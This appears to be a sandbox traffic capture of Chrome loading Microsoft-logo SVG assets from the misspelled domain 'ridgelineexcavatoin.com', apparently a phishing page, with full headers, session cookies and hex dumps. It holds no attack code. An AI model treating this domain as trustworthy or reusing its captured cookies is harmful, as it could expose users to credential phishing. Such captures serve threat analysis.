2024-04-18 21:05:43 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.16	49793	172.67.191.217	443	7068	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-18 21:05:43 UTC	1219	OUT	GET /x/8a55860f2cae358e560aa5f55856c7c166218b27293e6 HTTP/1.1 Host: ridgelineexcavatoin.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "117.0.5938.132" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ridgelineexcavatoin.com/d740c10c7b9cf800d441f265844201e166218b24a22ffLOGd740c10c7b9cf800d441f265844201e166218b24a2301 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cf_clearance=OwALxd..I3f6O7Kkzn1gNzUhJSKDd4pMh.usBBUwTQ4-1713474330-1.0.1.1-W2zcQWlfJ3iRcpR7R8QbuU6c6_Q8F49yXuxDkQy5myHaZeMy2A3BE0WxBALNtwma_bTFacnulLk1jy0YVH2K9Q; PHPSESSID=de422855d9abb46951601081e5109730
2024-04-18 21:05:44 UTC	648	IN	HTTP/1.1 200 OK Date: Thu, 18 Apr 2024 21:05:44 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close Last-Modified: Tue, 16 Apr 2024 22:58:32 GMT Vary: Accept-Encoding CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5mhFaLcGEUKito4YTap6af4M3Sb7i1Ljl5SnWarVBvYPNk1Ok8X5LIcq7abg6IoQORhGy240SrkbvCGHIPq%2FQSeODMINHcuSQmOf28ev9wXf2gpNmv6rH57%2BNFMFN2jm2%2B1CFQ54gz%2Bbxw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87679d5929b2ad7c-ATL alt-svc: h3=":443"; ma=86400
2024-04-18 21:05:44 UTC	721	IN	Data Raw: 37 34 38 0d 0a 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 39 32 30 22 20 68 65 69 67 68 74 3d 22 31 30 38 30 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 3e 3c 67 20 6f 70 61 63 69 74 79 3d 22 2e 32 22 20 63 6c 69 70 2d 70 61 74 68 3d 22 75 72 6c 28 23 45 29 22 3e 3c 70 61 74 68 20 64 3d 22 4d 31 34 36 36 2e 34 20 31 37 39 35 2e 32 63 39 35 30 2e 33 37 20 30 20 31 37 32 30 2e 38 2d 36 32 37 2e 35 32 20 31 37 32 30 2e 38 2d 31 34 30 31 2e 36 53 32 34 31 36 2e 37 37 2d 31 30 30 38 20 31 34 36 36 2e 34 2d 31 30 30 38 2d 32 35 34 2e 34 2d 33 38 30 2e 34 38 32 2d 32 35 34 2e 34 20 33 39 33 2e 36 73 37 37 30 2e 34 32 38 20 31 34 30 31 2e 36 20 31 37 32 30 2e 38 20 31 Data Ascii: 748<svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1
2024-04-18 21:05:44 UTC	1150	IN	Data Raw: 2e 36 7a 22 20 66 69 6c 6c 3d 22 75 72 6c 28 23 44 29 22 2f 3e 3c 2f 67 3e 3c 64 65 66 73 3e 3c 72 61 64 69 61 6c 47 72 61 64 69 65 6e 74 20 69 64 3d 22 41 22 20 63 78 3d 22 30 22 20 63 79 3d 22 30 22 20 72 3d 22 31 22 20 67 72 61 64 69 65 6e 74 55 6e 69 74 73 3d 22 75 73 65 72 53 70 61 63 65 4f 6e 55 73 65 22 20 67 72 61 64 69 65 6e 74 54 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 31 34 36 36 2e 34 20 33 39 33 2e 36 29 20 72 6f 74 61 74 65 28 39 30 29 20 73 63 61 6c 65 28 31 34 30 31 2e 36 20 31 37 32 30 2e 38 29 22 3e 3c 73 74 6f 70 20 73 74 6f 70 2d 63 6f 6c 6f 72 3d 22 23 31 30 37 63 31 30 22 2f 3e 3c 73 74 6f 70 20 6f 66 66 73 65 74 3d 22 31 22 20 73 74 6f 70 2d 63 6f 6c 6f 72 3d 22 23 63 34 63 34 63 34 22 20 73 74 6f 70 2d 6f 70 61 Data Ascii: .6z" fill="url(#D)"/></g><defs><radialGradient id="A" cx="0" cy="0" r="1" gradientUnits="userSpaceOnUse" gradientTransform="translate(1466.4 393.6) rotate(90) scale(1401.6 1720.8)"><stop stop-color="#107c10"/><stop offset="1" stop-color="#c4c4c4" stop-opa
2024-04-18 21:05:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.16	49797	104.21.20.67	443	7068	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-18 21:05:44 UTC	580	OUT	GET /ASSETS/img/m_.svg HTTP/1.1 Host: ridgelineexcavatoin.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cf_clearance=OwALxd..I3f6O7Kkzn1gNzUhJSKDd4pMh.usBBUwTQ4-1713474330-1.0.1.1-W2zcQWlfJ3iRcpR7R8QbuU6c6_Q8F49yXuxDkQy5myHaZeMy2A3BE0WxBALNtwma_bTFacnulLk1jy0YVH2K9Q; PHPSESSID=de422855d9abb46951601081e5109730
2024-04-18 21:05:44 UTC	683	IN	HTTP/1.1 200 OK Date: Thu, 18 Apr 2024 21:05:44 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close Last-Modified: Tue, 16 Apr 2024 22:58:32 GMT Vary: Accept-Encoding Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 6617 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5PAAQgtR46htJf5Y8Xc07qyA8GCuYkZ17cTcLTTCSjRboHixbYzhfz35JrbWtw9RW7cyAOR9QUDx90%2FmZ4fOZ1xot87RywgkjyvqYNTrU%2F3NUYvPmLRyhOS%2FnuAbZHslD4W9JV8C2Nqy8A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87679d5c2dc64564-ATL alt-svc: h3=":443"; ma=86400
2024-04-18 21:05:44 UTC	686	IN	Data Raw: 65 34 33 0d 0a 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 30 38 22 20 68 65 69 67 68 74 3d 22 32 34 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 30 38 20 32 34 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 70 61 74 68 20 64 3d 22 4d 34 34 2e 38 33 36 2c 34 2e 36 56 31 38 2e 34 68 2d 32 2e 34 56 37 2e 35 38 33 48 34 32 2e 34 4c 33 38 2e 31 31 39 2c 31 38 2e 34 48 33 36 2e 35 33 31 4c 33 32 2e 31 34 32 2c 37 2e 35 38 33 68 2d 2e 30 32 39 56 31 38 2e 34 48 32 39 2e 39 56 34 2e 36 68 33 2e 34 33 36 4c 33 37 2e 33 2c 31 34 2e 38 33 68 2e 30 35 38 4c 34 31 2e 35 34 35 2c 34 2e 36 5a 6d 32 2c 31 2e 30 34 39 61 31 2e 32 36 38 2c 31 2e Data Ascii: e43<svg xmlns="http://www.w3.org/2000/svg" width="108" height="24" viewBox="0 0 108 24"><title>assets</title><path d="M44.836,4.6V18.4h-2.4V7.583H42.4L38.119,18.4H36.531L32.142,7.583h-.029V18.4H29.9V4.6h3.436L37.3,14.83h.058L41.545,4.6Zm2,1.049a1.268,1.
2024-04-18 21:05:44 UTC	1369	IN	Data Raw: 2c 33 2e 39 35 35 2d 31 2e 35 34 35 2c 35 2e 34 31 34 2c 35 2e 34 31 34 2c 30 2c 30 2c 31 2c 31 2e 33 32 34 2e 31 36 38 2c 34 2e 34 33 31 2c 34 2e 34 33 31 2c 30 2c 30 2c 31 2c 31 2e 30 36 33 2e 33 39 76 32 2e 32 33 33 61 34 2e 37 36 33 2c 34 2e 37 36 33 2c 30 2c 30 2c 30 2d 31 2e 31 2d 2e 36 31 31 2c 33 2e 31 38 34 2c 33 2e 31 38 34 2c 30 2c 30 2c 30 2d 31 2e 31 35 2d 2e 32 31 37 2c 32 2e 39 31 39 2c 32 2e 39 31 39 2c 30 2c 30 2c 30 2d 32 2e 32 32 33 2e 39 2c 33 2e 33 37 2c 33 2e 33 37 2c 30 2c 30 2c 30 2d 2e 38 34 37 2c 32 2e 34 31 36 2c 33 2e 32 31 36 2c 33 2e 32 31 36 2c 30 2c 30 2c 30 2c 2e 38 31 33 2c 32 2e 33 33 38 2c 32 2e 39 33 36 2c 32 2e 39 33 36 2c 30 2c 30 2c 30 2c 32 2e 32 30 39 2e 38 33 37 4d 36 35 2e 34 2c 38 2e 33 34 33 61 32 2e 39 35 32 Data Ascii: ,3.955-1.545,5.414,5.414,0,0,1,1.324.168,4.431,4.431,0,0,1,1.063.39v2.233a4.763,4.763,0,0,0-1.1-.611,3.184,3.184,0,0,0-1.15-.217,2.919,2.919,0,0,0-2.223.9,3.37,3.37,0,0,0-.847,2.416,3.216,3.216,0,0,0,.813,2.338,2.936,2.936,0,0,0,2.209.837M65.4,8.343a2.952
2024-04-18 21:05:44 UTC	1369	IN	Data Raw: 34 2e 35 36 34 2c 30 2c 30 2c 31 2d 31 2e 38 32 39 2d 31 2e 32 31 33 2c 32 2e 36 35 35 2c 32 2e 36 35 35 2c 30 2c 30 2c 31 2d 2e 35 33 39 2d 31 2e 37 31 33 2c 32 2e 37 30 36 2c 32 2e 37 30 36 2c 30 2c 30 2c 31 2c 31 2e 30 36 33 2d 32 2e 32 41 34 2e 32 34 33 2c 34 2e 32 34 33 2c 30 2c 30 2c 31 2c 38 31 2e 35 2c 38 2e 32 35 36 61 36 2e 36 36 33 2c 36 2e 36 36 33 2c 30 2c 30 2c 31 2c 31 2e 31 36 34 2e 31 31 35 2c 35 2e 31 36 31 2c 35 2e 31 36 31 2c 30 2c 30 2c 31 2c 31 2e 30 37 38 2e 33 76 32 2e 32 31 34 61 34 2e 39 37 34 2c 34 2e 39 37 34 2c 30 2c 30 2c 30 2d 31 2e 30 37 38 2d 2e 35 32 39 2c 33 2e 36 2c 33 2e 36 2c 30 2c 30 2c 30 2d 31 2e 32 32 32 2d 2e 32 32 31 2c 31 2e 37 38 31 2c 31 2e 37 38 31 2c 30 2c 30 2c 30 2d 31 2e 30 33 34 2e 32 36 2e 38 32 34 2e Data Ascii: 4.564,0,0,1-1.829-1.213,2.655,2.655,0,0,1-.539-1.713,2.706,2.706,0,0,1,1.063-2.2A4.243,4.243,0,0,1,81.5,8.256a6.663,6.663,0,0,1,1.164.115,5.161,5.161,0,0,1,1.078.3v2.214a4.974,4.974,0,0,0-1.078-.529,3.6,3.6,0,0,0-1.222-.221,1.781,1.781,0,0,0-1.034.26.824.
2024-04-18 21:05:44 UTC	234	IN	Data Raw: 30 2e 39 33 31 22 20 66 69 6c 6c 3d 22 23 66 32 35 30 32 32 22 2f 3e 3c 72 65 63 74 20 78 3d 22 31 32 2e 30 36 39 22 20 77 69 64 74 68 3d 22 31 30 2e 39 33 31 22 20 68 65 69 67 68 74 3d 22 31 30 2e 39 33 31 22 20 66 69 6c 6c 3d 22 23 37 66 62 61 30 30 22 2f 3e 3c 72 65 63 74 20 79 3d 22 31 32 2e 30 36 39 22 20 77 69 64 74 68 3d 22 31 30 2e 39 33 31 22 20 68 65 69 67 68 74 3d 22 31 30 2e 39 33 31 22 20 66 69 6c 6c 3d 22 23 30 30 61 34 65 66 22 2f 3e 3c 72 65 63 74 20 78 3d 22 31 32 2e 30 36 39 22 20 79 3d 22 31 32 2e 30 36 39 22 20 77 69 64 74 68 3d 22 31 30 2e 39 33 31 22 20 68 65 69 67 68 74 3d 22 31 30 2e 39 33 31 22 20 66 69 6c 6c 3d 22 23 66 66 62 39 30 30 22 2f 3e 3c 2f 73 76 67 3e 0d 0a Data Ascii: 0.931" fill="#f25022"/><rect x="12.069" width="10.931" height="10.931" fill="#7fba00"/><rect y="12.069" width="10.931" height="10.931" fill="#00a4ef"/><rect x="12.069" y="12.069" width="10.931" height="10.931" fill="#ffb900"/></svg>
2024-04-18 21:05:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.16	49796	104.21.20.67	443	7068	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-18 21:05:44 UTC	584	OUT	GET /ASSETS/img/sig-op.svg HTTP/1.1 Host: ridgelineexcavatoin.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cf_clearance=OwALxd..I3f6O7Kkzn1gNzUhJSKDd4pMh.usBBUwTQ4-1713474330-1.0.1.1-W2zcQWlfJ3iRcpR7R8QbuU6c6_Q8F49yXuxDkQy5myHaZeMy2A3BE0WxBALNtwma_bTFacnulLk1jy0YVH2K9Q; PHPSESSID=de422855d9abb46951601081e5109730
2024-04-18 21:05:44 UTC	687	IN	HTTP/1.1 200 OK Date: Thu, 18 Apr 2024 21:05:44 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close Last-Modified: Tue, 16 Apr 2024 22:58:32 GMT Vary: Accept-Encoding Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 6617 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IwJgf1W46FxHN4ZOKinQtZeMzEyhDip60fclAA0mgUNSAxBQBGMQboJtA1aTV%2FvSj%2F3RZbkroEz9E%2F6iHxspfS9GWNiqsDzNiFT0yj%2BrELOU%2BVCRFA4bF3nYY0EBphjQQRzFVg2cZLbtYQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87679d5c2e7753ba-ATL alt-svc: h3=":443"; ma=86400
2024-04-18 21:05:44 UTC	682	IN	Data Raw: 36 33 38 0d 0a 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 34 38 20 34 38 22 3e 3c 64 65 66 73 3e 3c 73 74 79 6c 65 3e 2e 61 7b 66 69 6c 6c 3a 6e 6f 6e 65 3b 7d 2e 62 7b 66 69 6c 6c 3a 23 34 30 34 30 34 30 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 64 65 66 73 3e 3c 72 65 63 74 20 63 6c 61 73 73 3d 22 61 22 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 62 22 20 64 3d 22 4d 34 30 2c 33 32 2e 35 37 38 56 34 30 48 33 32 56 33 36 48 32 38 56 33 32 48 32 34 56 32 38 2e 37 36 36 41 31 30 2e 36 38 39 2c 31 30 2e 36 38 39 Data Ascii: 638<svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><defs><style>.a{fill:none;}.b{fill:#404040;}</style></defs><rect class="a" width="48" height="48"/><path class="b" d="M40,32.578V40H32V36H28V32H24V28.766A10.689,10.689
2024-04-18 21:05:44 UTC	917	IN	Data Raw: 36 2c 30 2c 30 2c 31 2c 33 30 2c 31 39 61 31 30 2e 30 31 35 2c 31 30 2e 30 31 35 2c 30 2c 30 2c 31 2d 2e 31 32 35 2c 31 2e 35 37 38 2c 31 30 2e 38 37 39 2c 31 30 2e 38 37 39 2c 30 2c 30 2c 31 2d 2e 33 35 39 2c 31 2e 35 33 31 5a 6d 2d 32 2c 2e 38 34 34 4c 32 37 2e 32 31 39 2c 32 32 2e 36 34 31 61 31 34 2e 37 31 36 2c 31 34 2e 37 31 36 2c 30 2c 30 2c 30 2c 2e 35 36 32 2d 31 2e 37 38 32 41 37 2e 37 35 31 2c 37 2e 37 35 31 2c 30 2c 30 2c 30 2c 32 38 2c 31 39 61 38 2e 37 38 36 2c 38 2e 37 38 36 2c 30 2c 30 2c 30 2d 2e 37 2d 33 2e 35 2c 38 2e 39 2c 38 2e 39 2c 30 2c 30 2c 30 2d 31 2e 39 33 38 2d 32 2e 38 35 39 41 39 2e 32 36 39 2c 39 2e 32 36 39 2c 30 2c 30 2c 30 2c 32 32 2e 35 2c 31 30 2e 37 31 39 2c 38 2e 39 2c 38 2e 39 2c 30 2c 30 2c 30 2c 31 39 2c 31 30 61 Data Ascii: 6,0,0,1,30,19a10.015,10.015,0,0,1-.125,1.578,10.879,10.879,0,0,1-.359,1.531Zm-2,.844L27.219,22.641a14.716,14.716,0,0,0,.562-1.782A7.751,7.751,0,0,0,28,19a8.786,8.786,0,0,0-.7-3.5,8.9,8.9,0,0,0-1.938-2.859A9.269,9.269,0,0,0,22.5,10.719,8.9,8.9,0,0,0,19,10a
2024-04-18 21:05:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.16	49798	104.21.20.67	443	7068	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-18 21:05:44 UTC	610	OUT	GET /o/8a55860f2cae358e560aa5f55856c7c166218b2729408 HTTP/1.1 Host: ridgelineexcavatoin.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cf_clearance=OwALxd..I3f6O7Kkzn1gNzUhJSKDd4pMh.usBBUwTQ4-1713474330-1.0.1.1-W2zcQWlfJ3iRcpR7R8QbuU6c6_Q8F49yXuxDkQy5myHaZeMy2A3BE0WxBALNtwma_bTFacnulLk1jy0YVH2K9Q; PHPSESSID=de422855d9abb46951601081e5109730
2024-04-18 21:05:44 UTC	654	IN	HTTP/1.1 200 OK Date: Thu, 18 Apr 2024 21:05:44 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close Last-Modified: Tue, 16 Apr 2024 22:58:32 GMT Vary: Accept-Encoding CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=OOZugO8GUlLHMch1td52Fn4OW2%2Bgg%2B0ddzOrhcZJt1RLfPflEow%2F9Q8CPQPvka8nBIf7slDIJW7GtL%2F%2B8uspMM2wyvAmRxFxaG5JNhb%2FfMPGHXwvSjHj89pDWHkRY7Sk5ZNipQMpm%2FvtKA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87679d5d9aa778cc-ATL alt-svc: h3=":443"; ma=86400
2024-04-18 21:05:44 UTC	715	IN	Data Raw: 65 34 33 0d 0a 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 30 38 22 20 68 65 69 67 68 74 3d 22 32 34 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 30 38 20 32 34 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 70 61 74 68 20 64 3d 22 4d 34 34 2e 38 33 36 2c 34 2e 36 56 31 38 2e 34 68 2d 32 2e 34 56 37 2e 35 38 33 48 34 32 2e 34 4c 33 38 2e 31 31 39 2c 31 38 2e 34 48 33 36 2e 35 33 31 4c 33 32 2e 31 34 32 2c 37 2e 35 38 33 68 2d 2e 30 32 39 56 31 38 2e 34 48 32 39 2e 39 56 34 2e 36 68 33 2e 34 33 36 4c 33 37 2e 33 2c 31 34 2e 38 33 68 2e 30 35 38 4c 34 31 2e 35 34 35 2c 34 2e 36 5a 6d 32 2c 31 2e 30 34 39 61 31 2e 32 36 38 2c 31 2e Data Ascii: e43<svg xmlns="http://www.w3.org/2000/svg" width="108" height="24" viewBox="0 0 108 24"><title>assets</title><path d="M44.836,4.6V18.4h-2.4V7.583H42.4L38.119,18.4H36.531L32.142,7.583h-.029V18.4H29.9V4.6h3.436L37.3,14.83h.058L41.545,4.6Zm2,1.049a1.268,1.
2024-04-18 21:05:44 UTC	1369	IN	Data Raw: 31 2c 31 2e 33 32 34 2e 31 36 38 2c 34 2e 34 33 31 2c 34 2e 34 33 31 2c 30 2c 30 2c 31 2c 31 2e 30 36 33 2e 33 39 76 32 2e 32 33 33 61 34 2e 37 36 33 2c 34 2e 37 36 33 2c 30 2c 30 2c 30 2d 31 2e 31 2d 2e 36 31 31 2c 33 2e 31 38 34 2c 33 2e 31 38 34 2c 30 2c 30 2c 30 2d 31 2e 31 35 2d 2e 32 31 37 2c 32 2e 39 31 39 2c 32 2e 39 31 39 2c 30 2c 30 2c 30 2d 32 2e 32 32 33 2e 39 2c 33 2e 33 37 2c 33 2e 33 37 2c 30 2c 30 2c 30 2d 2e 38 34 37 2c 32 2e 34 31 36 2c 33 2e 32 31 36 2c 33 2e 32 31 36 2c 30 2c 30 2c 30 2c 2e 38 31 33 2c 32 2e 33 33 38 2c 32 2e 39 33 36 2c 32 2e 39 33 36 2c 30 2c 30 2c 30 2c 32 2e 32 30 39 2e 38 33 37 4d 36 35 2e 34 2c 38 2e 33 34 33 61 32 2e 39 35 32 2c 32 2e 39 35 32 2c 30 2c 30 2c 31 2c 2e 35 2e 30 33 39 2c 32 2e 31 2c 32 2e 31 2c 30 Data Ascii: 1,1.324.168,4.431,4.431,0,0,1,1.063.39v2.233a4.763,4.763,0,0,0-1.1-.611,3.184,3.184,0,0,0-1.15-.217,2.919,2.919,0,0,0-2.223.9,3.37,3.37,0,0,0-.847,2.416,3.216,3.216,0,0,0,.813,2.338,2.936,2.936,0,0,0,2.209.837M65.4,8.343a2.952,2.952,0,0,1,.5.039,2.1,2.1,0
2024-04-18 21:05:44 UTC	1369	IN	Data Raw: 2c 32 2e 36 35 35 2c 30 2c 30 2c 31 2d 2e 35 33 39 2d 31 2e 37 31 33 2c 32 2e 37 30 36 2c 32 2e 37 30 36 2c 30 2c 30 2c 31 2c 31 2e 30 36 33 2d 32 2e 32 41 34 2e 32 34 33 2c 34 2e 32 34 33 2c 30 2c 30 2c 31 2c 38 31 2e 35 2c 38 2e 32 35 36 61 36 2e 36 36 33 2c 36 2e 36 36 33 2c 30 2c 30 2c 31 2c 31 2e 31 36 34 2e 31 31 35 2c 35 2e 31 36 31 2c 35 2e 31 36 31 2c 30 2c 30 2c 31 2c 31 2e 30 37 38 2e 33 76 32 2e 32 31 34 61 34 2e 39 37 34 2c 34 2e 39 37 34 2c 30 2c 30 2c 30 2d 31 2e 30 37 38 2d 2e 35 32 39 2c 33 2e 36 2c 33 2e 36 2c 30 2c 30 2c 30 2d 31 2e 32 32 32 2d 2e 32 32 31 2c 31 2e 37 38 31 2c 31 2e 37 38 31 2c 30 2c 30 2c 30 2d 31 2e 30 33 34 2e 32 36 2e 38 32 34 2e 38 32 34 2c 30 2c 30 2c 30 2d 2e 33 37 31 2e 37 31 32 4d 38 35 2e 32 37 38 2c 31 33 2e Data Ascii: ,2.655,0,0,1-.539-1.713,2.706,2.706,0,0,1,1.063-2.2A4.243,4.243,0,0,1,81.5,8.256a6.663,6.663,0,0,1,1.164.115,5.161,5.161,0,0,1,1.078.3v2.214a4.974,4.974,0,0,0-1.078-.529,3.6,3.6,0,0,0-1.222-.221,1.781,1.781,0,0,0-1.034.26.824.824,0,0,0-.371.712M85.278,13.
2024-04-18 21:05:44 UTC	205	IN	Data Raw: 78 3d 22 31 32 2e 30 36 39 22 20 77 69 64 74 68 3d 22 31 30 2e 39 33 31 22 20 68 65 69 67 68 74 3d 22 31 30 2e 39 33 31 22 20 66 69 6c 6c 3d 22 23 37 66 62 61 30 30 22 2f 3e 3c 72 65 63 74 20 79 3d 22 31 32 2e 30 36 39 22 20 77 69 64 74 68 3d 22 31 30 2e 39 33 31 22 20 68 65 69 67 68 74 3d 22 31 30 2e 39 33 31 22 20 66 69 6c 6c 3d 22 23 30 30 61 34 65 66 22 2f 3e 3c 72 65 63 74 20 78 3d 22 31 32 2e 30 36 39 22 20 79 3d 22 31 32 2e 30 36 39 22 20 77 69 64 74 68 3d 22 31 30 2e 39 33 31 22 20 68 65 69 67 68 74 3d 22 31 30 2e 39 33 31 22 20 66 69 6c 6c 3d 22 23 66 66 62 39 30 30 22 2f 3e 3c 2f 73 76 67 3e 0d 0a Data Ascii: x="12.069" width="10.931" height="10.931" fill="#7fba00"/><rect y="12.069" width="10.931" height="10.931" fill="#00a4ef"/><rect x="12.069" y="12.069" width="10.931" height="10.931" fill="#ffb900"/></svg>
2024-04-18 21:05:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.16	49799	104.21.20.67	443	7068	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-18 21:05:45 UTC	610	OUT	GET /x/8a55860f2cae358e560aa5f55856c7c166218b27293e6 HTTP/1.1 Host: ridgelineexcavatoin.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cf_clearance=OwALxd..I3f6O7Kkzn1gNzUhJSKDd4pMh.usBBUwTQ4-1713474330-1.0.1.1-W2zcQWlfJ3iRcpR7R8QbuU6c6_Q8F49yXuxDkQy5myHaZeMy2A3BE0WxBALNtwma_bTFacnulLk1jy0YVH2K9Q; PHPSESSID=de422855d9abb46951601081e5109730
2024-04-18 21:05:45 UTC	644	IN	HTTP/1.1 200 OK Date: Thu, 18 Apr 2024 21:05:45 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close Last-Modified: Tue, 16 Apr 2024 22:58:32 GMT Vary: Accept-Encoding CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Nsg6mtwLSnBeCio9KB4XpLMsGS8dUPsOhrkKvTGGel%2B36enNuIHLN64gNOHQdU2AKt3a8iwKTjNWT8%2FeB8joyjSOvbQZVW90FQ43jc7CABiyGVqnE9PrLHCeOv19vxqGXBCv9nvIQPCvRA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87679d62885f7bab-ATL alt-svc: h3=":443"; ma=86400
